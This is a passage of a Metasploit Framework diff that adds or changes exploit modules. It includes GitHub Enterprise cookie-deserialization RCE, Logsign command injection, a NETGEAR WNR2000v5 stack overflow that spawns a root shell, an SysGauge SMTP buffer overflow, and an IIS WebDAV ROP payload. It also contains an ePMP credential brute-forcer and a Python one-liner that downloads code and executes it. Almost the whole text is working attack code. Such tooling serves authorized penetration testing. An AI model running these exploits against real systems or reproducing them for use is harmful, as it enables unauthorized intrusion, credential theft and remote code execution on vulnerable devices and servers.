'DefaultOptions' => { 'VERBOSE' => true })
)
register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin'])
], self.class
)
end
def run_host(ip)
unless is_app_epmp1000?
return
end
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Check if App is Cambium ePMP 1000
#
def is_app_epmp1000?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
return false
end
good_response = (
res &&
res.code == 200 &&
res.headers['Server'] &&
(res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com'))
)
if good_response
get_epmp_ver = res.body.match(/"sw_version">([^<]*)/)
if !get_epmp_ver.nil?
epmp_ver = get_epmp_ver[1]
if !epmp_ver.nil?
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...")
return true
else
print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...")
return true
end
end
else
print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.")
return false
end
end
#
# Brute-force the login page
#
def do_login(user, pass)
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01'
},
'vars_post' =>
{
'username' => 'dashboard',
'password' => ''
}
}
)
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('sysauth')
)
if good_response
sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/)
cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
res = send_request_cgi(
{
'uri' => '/cgi-bin/luci',
'method' => 'POST',
'cookie' => cookie1,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest',
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Connection' => 'close'
},
'vars_post' =>
{
'username' => user,
'password' => pass
}
}
)
end
good_response = (
res &&
res.code == 200 &&
res.headers.include?('Set-Cookie') &&
res.headers['Set-Cookie'].include?('stok=')
)
if good_response
print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
#
# Extract ePMP version
#
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
}
)
epmp_ver = res.body.match(/"sw_version">([^<]*)/)[1]
report_cred(
ip: rhost,
port: rport,
service_name: "Cambium ePMP 1000 version #{epmp_ver}",
user: user,
password: pass
)
else
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
end
end
end
end

View File

@ -0,0 +1,195 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
'Description' => %q{
This module exploits two security issues in Github Enterprise, version 2.8.0 - 2.8.6.
The first is that the session management uses a hard-coded secret value, which can be
abused to sign a serialized malicious Ruby object. The second problem is due to the
use of unsafe deserialization, which allows the malicious Ruby object to be loaded,
and results in arbitrary remote code execution.
This exploit was tested against version 2.8.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
'sinn3r' # Porting the PoC to Metasploit
],
'References' =>
[
[ 'EDB', '41616' ],
[ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ],
[ 'URL', 'https://enterprise.github.com/releases/2.8.7/notes' ] # Patched in this version
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Github Enterprise 2.8', { } ]
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 8443
},
'Privileged' => false,
'DisclosureDate' => 'Mar 15 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
], self.class)
end
def secret
'641dd6454584ddabfed6342cc66281fb'
end
def check
uri = normalize_uri(target_uri.path, 'setup', 'unlock')
res = send_request_cgi!({
'method' => 'GET',
'uri' => uri,
'vars_get' =>{
'redirect_to' => '/'
}
})
unless res
vprint_error('Connection timed out.')
return Exploit::CheckCode::Unknown
end
unless res.get_cookies.match(/^_gh_manage/)
vprint_error('No _gh_manage value in cookie found')
return Exploit::CheckCode::Safe
end
cookies = res.get_cookies
vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
data = gh_manage_value.split('--').first
hmac = gh_manage_value.split('--').last.split(';', 2).first
vprint_status("Data: #{data.gsub(/\n/, '')}")
vprint_status("Extracted HMAC: #{hmac}")
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
vprint_status("Expected HMAC: #{expected_hmac}")
if expected_hmac == hmac
vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def get_ruby_code
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
register_file_for_cleanup(b64_fname, bin_fname)
p = Rex::Text.encode_base64(generate_payload_exe)
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
c << "%x(chmod +x #{bin_fname}); "
c << "%x(#{bin_fname})"
c
end
def serialize
# We don't want to run this code within the context of Framework, so we run it as an
# external process.
# Brilliant trick from Brent and Adam to overcome the issue.
ruby_code = %Q|
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
session =
{
'session_id' => '',
'exploit' => proxy
}
print Marshal.dump(session)
|
serialized_output = `ruby -e "#{ruby_code}"`
serialized_object = [serialized_output].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)
return serialized_object, hmac
end
def send_serialized_data(dump, hmac)
uri = normalize_uri(target_uri.path)
gh_manage_value = CGI.escape("#{dump}--#{hmac}")
cookie = "_gh_manage=#{gh_manage_value}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
})
if res
print_status("Server returned: #{res.code}")
end
end
def exploit
dump, hmac = serialize
print_status('Serialized Ruby stager')
print_status('Sending serialized Ruby stager...')
send_serialized_data(dump, hmac)
end
end
=begin
Handy information:
To deobfuscate Github code, use this script:
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42
Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
algorithm:
* Takes the session hash (Json) in env['rack.session']
* Marshal.dump the hash into a string
* Base64 the string
* Append a hash of the data at the end of the string to prevent tampering.
* The signed data is saved in _gh_manage'
The format looks like this:
[ DATA ]--[ Hash ]
Also see:
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb
=end

View File

@ -0,0 +1,77 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Logsign Remote Command Injection',
'Description' => %q{
This module exploits an command injection vulnerability in Logsign.
By exploiting this vulnerability, unauthenticated users can execute
arbitrary code under the root user.
Logsign has a publicly accessible endpoint. That endpoint takes a user
input and then use it during operating system command execution without
proper validation.
This module was tested against 4.4.2 and 4.4.137 versions.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
],
'Privileged' => true,
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'DefaultOptions' =>
{
'payload' => 'python/meterpreter/reverse_tcp'
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Feb 26 2017',
'DefaultTarget' => 0
))
end
def check
p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
'ctype' => 'application/json',
'data' => JSON.generate(p_hash)
)
if res && res.body.include?('{"message": "success", "success": true}')
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
print_status("Delivering payload...")
p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
'ctype' => 'application/json',
'data' => JSON.generate(p_hash)
)
end
end

View File

@ -0,0 +1,270 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'time'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CRand
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
'Description' => %q{
The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
parameter.
In order to exploit it, it is necessary to guess the value of a certain timestamp which
is in the configuration of the router. An authenticated attacker can simply fetch this
from a page, but an unauthenticated attacker has to brute force it.
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
it is guaranteed that it can be bruteforced.
This module implements both modes, and it works very reliably. It has been tested with
the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
revisions v4 and v3, but this has not been tested - with these routers it might be necessary
to adjust the LibcBase variable as well as the gadget addresses.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'References' =>
[
['CVE', '2016-10174'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
],
'Targets' =>
[
[ 'NETGEAR WNR2000v5',
{
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
'SystemOffset' => 0x547D0,
'GadgetOffset' => 0x2462C,
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
#LOAD:00024630 move $t9, $s0
#LOAD:00024634 jalr $t9
'Payload' =>
{
'BadChars' => "\x00\x25\x26",
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
}
],
],
'Privileged' => true,
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => 'Dec 20 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
], self.class)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
], self.class)
end
def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['WWW-Authenticate']
auth = res.headers['WWW-Authenticate']
if auth =~ /WNR2000v5/
return Exploit::CheckCode::Detected
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
return Exploit::CheckCode::Unknown
end
end
Exploit::CheckCode::Safe
end
def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end
def calc_address (libc_base, offset)
addr = (libc_base + offset).to_s(16)
uri_encode(addr)
end
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
return Time.parse(date).strftime('%s').to_i
end
end
def get_auth_timestamp
res = send_request_raw({
'uri' => '/lang_check.html',
'method' => 'GET',
# automatically uses HttpPassword and HttpUsername to authenticate
})
if res && res.code == 401
# try again, might fail the first time
res = send_request_raw({
'uri' => '/lang_check.html',
'method' => 'GET',
# automatically uses HttpPassword and HttpUsername to authenticate
})
end
if res && res.code == 200
if res.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
end
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
def get_payload
rand_text_alpha(36) + # filler_1
calc_address(target['LibcBase'], target['SystemOffset']) + # s0
rand_text_alpha(12) + # s1, s2 and s3
calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget
rand_text_alpha(0x40) + # filler_2
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
end
def send_req(timestamp)
begin
uri_str = (timestamp == nil ? \
"/apply_noauth.cgi?/lang_check.html" : \
"/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
res = send_request_raw({
'uri' => uri_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
})
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
end
def exploit
# 1: try to see if the default admin username and password are set
timestamp = get_auth_timestamp
# 2: now we try two things at once:
# one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
# two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
# no shell? let's just go on and bruteforce the timestamp
# 3: get the current date from the router and parse it
end_time = get_current_time
if end_time.nil?
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
else
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
# 2: work back from the current router time minus datastore['TIME_OFFSET']
while true
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if sock.nil?
next
end
print_status("#{peer} - Success, shell incoming!")
return handler(sock)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
next
end
end
end_time = start_time
start_time -= datastore['TIME_OFFSET']
if start_time < 0
if end_time <= datastore['TIME_OFFSET']
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
end
start_time = 0
end
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
# let the router clear the buffers a bit...
sleep 30
end
end
end

View File

@ -92,9 +92,6 @@ class MetasploitModule < Msf::Exploit::Remote
else
resp = send_payload(generate_payload_exe)
end
require'pp'
pp resp.headers if resp
end
def send_struts_request(ognl, extra_header: '')

View File

@ -86,7 +86,8 @@ class MetasploitModule < Msf::Exploit::Remote
when 'PHP'
print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
when 'Python'
print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
print_line('Python:')
print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
when 'PSH'
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)

View File

@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2',
'Microsoft Windows Server 2003 R2 SP2',
{
'Platform' => 'win',
},
@ -82,19 +82,16 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
connect
# Random string instead of `aaaaaaa`
buf1 = "<http://localhost/#{rand_text_alpha_lower(7)}"
buf1 = "<http://localhost/aaaaaaa"
buf1 << "\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"
buf1 << ">"
buf1 << "(Not <locktoken:write1>) <http://localhost/#{rand_text_alpha_lower(7)}"
buf1 << "(Not <locktoken:write1>) <http://localhost/bbbbbbb"
buf1 << "\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"
# The long strings of binary data are the original ROP chains from the PoC. It's just a long string of chinese characters to trigger the overflow
buf1 << payload.encoded # Append the payload to the end of the request body
send_request_raw(
'method' => 'PROPFIND',
'agent' => nil,
@ -111,4 +108,4 @@ class MetasploitModule < Msf::Exploit::Remote
disconnect
end
end
end

View File

@ -0,0 +1,80 @@
#
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::TcpServer
Rank = NormalRanking
def initialize()
super(
'Name' => 'SysGauge SMTP Validation Buffer Overflow',
'Description' => %q{
This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
via its SMTP server validation. The module sends a malicious response along in the
220 service ready response and exploits the client, resulting in an unprivileged shell.
},
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'Peter Baris' # Initial discovery and PoC
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '41479' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 306,
'BadChars' => "\x00\x0a\x0d\x20"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal',
{
'Offset' => 176,
'Ret' => 0x6527635E # call esp # QtGui4.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Feb 28 2017',
'DefaultTarget' => 0
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
])
end
def on_client_connect(c)
# Note here that the payload must be split into two parts.
# The payload gets jumbled in the stack so we need to split
# and align to get it to execute correctly.
sploit = "220 "
sploit << rand_text(target['Offset'])
# Can only use the last part starting from 232 bytes in
sploit << payload.encoded[232..-1]
sploit << rand_text(2)
sploit << [target.ret].pack('V')
sploit << rand_text(12)
sploit << make_nops(8)
# And the first part up to 232 bytes
sploit << payload.encoded[0..231]
sploit << "ESMTP Sendmail \r\n"
print_status("Client connected: " + c.peerhost)
print_status("Sending payload...")
c.put(sploit)
end
end

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 301264
CachedSize = 646808
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 295848
CachedSize = 639520
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 293160
CachedSize = 638320
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 521672
CachedSize = 1019344
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 502792
CachedSize = 997900
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

